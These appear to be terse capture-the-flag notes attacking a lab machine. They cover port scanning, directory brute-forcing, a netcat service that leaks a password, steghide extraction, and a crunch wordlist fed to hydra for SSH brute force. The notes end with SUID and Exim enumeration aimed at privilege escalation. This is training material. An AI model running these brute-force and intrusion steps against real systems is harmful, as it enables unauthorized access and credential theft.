┌──(kali㉿kali)-[~/Desktop]
└─$ rustscan -a 10.10.108.114 -r 1-65535                
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.108.114:21
Open 10.10.108.114:22
Open 10.10.108.114:80
Open 10.10.108.114:443
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.92 ( https://nmap.org ) at 2024-04-16 02:33 EDT
Initiating Ping Scan at 02:33
Scanning 10.10.108.114 [2 ports]
Completed Ping Scan at 02:33, 0.34s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 02:33
Completed Parallel DNS resolution of 1 host. at 02:33, 2.01s elapsed
DNS resolution of 1 IPs took 2.01s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 02:33
Scanning 10.10.108.114 [4 ports]
Discovered open port 443/tcp on 10.10.108.114
Discovered open port 80/tcp on 10.10.108.114
Discovered open port 21/tcp on 10.10.108.114
Discovered open port 22/tcp on 10.10.108.114
Completed Connect Scan at 02:33, 0.29s elapsed (4 total ports)
Nmap scan report for 10.10.108.114
Host is up, received syn-ack (0.31s latency).
Scanned at 2024-04-16 02:33:58 EDT for 0s

PORT    STATE SERVICE REASON
21/tcp  open  ftp     syn-ack
22/tcp  open  ssh     syn-ack
80/tcp  open  http    syn-ack
443/tcp open  https   syn-ack

python dirsearch.py -u 10.10.108.114  -x 400,500 -r  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 

python dirsearch.py -u https://land-of-ooo.com/  -x 400,500 -r -t 50  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

python dirsearch.py -u https://land-of-ooo.com/yellowdog/bananastock/  -x 400,500 -r -t 50  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

nc  10.10.190.110 31337

ssh apple-guards@10.10.190.110

apple-guards@at:~$ cat mbox
From marceline@at  Fri Sep 20 16:39:54 2019
Return-Path: <marceline@at>
X-Original-To: apple-guards@at
Delivered-To: apple-guards@at
Received: by at.localdomain (Postfix, from userid 1004)
        id 6737B24261C; Fri, 20 Sep 2019 16:39:54 +0200 (CEST)
Subject: Need help???
To: <apple-guards@at>
X-Mailer: mail (GNU Mailutils 3.4)
Message-Id: <20190920143954.6737B24261C@at.localdomain>
Date: Fri, 20 Sep 2019 16:39:54 +0200 (CEST)
From: marceline@at

Hi there bananaheads!!!
I heard Princess B revoked your access to the system. Bummer!
But I'll help you guys out.....doesn't cost you a thing.....well almost nothing.

I hid a file for you guys. If you get the answer right, you'll get better access.
Good luck!!!!

find / -user marceline 2>/dev/null

su marceline

┌──(kali㉿kali)-[~]
└─$ nc  10.10.190.110 31337
Hello Princess Bubblegum. What is the magic word?
ApplePie
The password of peppermint-butler is: That Black Magic

scp peppermint-butler@10.10.190.110:/home/peppermint-butler/butler-1.jpg .

find / -user peppermint-butler 2>/dev/null

steghide extract -sf butler-1.jpg 
Enter passphrase: 
wrote extracted data to "secrets.zip".

crunch 18 18 -t 'The Ice King s@@@@'' > p.txt

hydra -l gunter -P p.txt  ssh://10.10.190.110  

find / -user root -perm -4000 -print 2>/dev/null

gunter@at:/home$ exim4 --version
Exim version 4.90_1 #4 built 14-Feb-2018 16:01:14
Copyright (c) University of Cambridge, 1995 - 2017
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2017
Berkeley DB: Berkeley DB 5.3.28: (September  9, 2013)
Support for: crypteq iconv() IPv6 GnuTLS move_frozen_messages DKIM DNSSEC Event OCSP PRDR SOCKS TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated

gunter@at:~$ cat  /etc/exim4/update-exim4.conf.conf
# /etc/exim4/update-exim4.conf.conf
#
# Edit this file and /etc/mailname by hand and execute update-exim4.conf
# yourself or use 'dpkg-reconfigure exim4-config'
#
# Please note that this is _not_ a dpkg-conffile and that automatic changes
# to this file might happen. The code handling this will honor your local
# changes, so this is usually fine, but will break local schemes that mess
# around with multiple versions of the file.
#
# update-exim4.conf uses this file to determine variable values to generate
# exim configuration macros for the configuration file.
#
# Most settings found in here do have corresponding questions in the
# Debconf configuration, but not all of them.
#
# This is a Debian specific file

dc_eximconfig_configtype='local'
dc_other_hostnames='at'
dc_local_interfaces='127.0.0.1.60000'
dc_readhost=''
dc_relay_domains=''
dc_minimaldns='false'
dc_relay_nets=''
dc_smarthost=''
CFILEMODE='644'
dc_use_split_config='false'
dc_hide_mailname=''
dc_mailname_in_oh='true'
dc_localdelivery='mail_spool'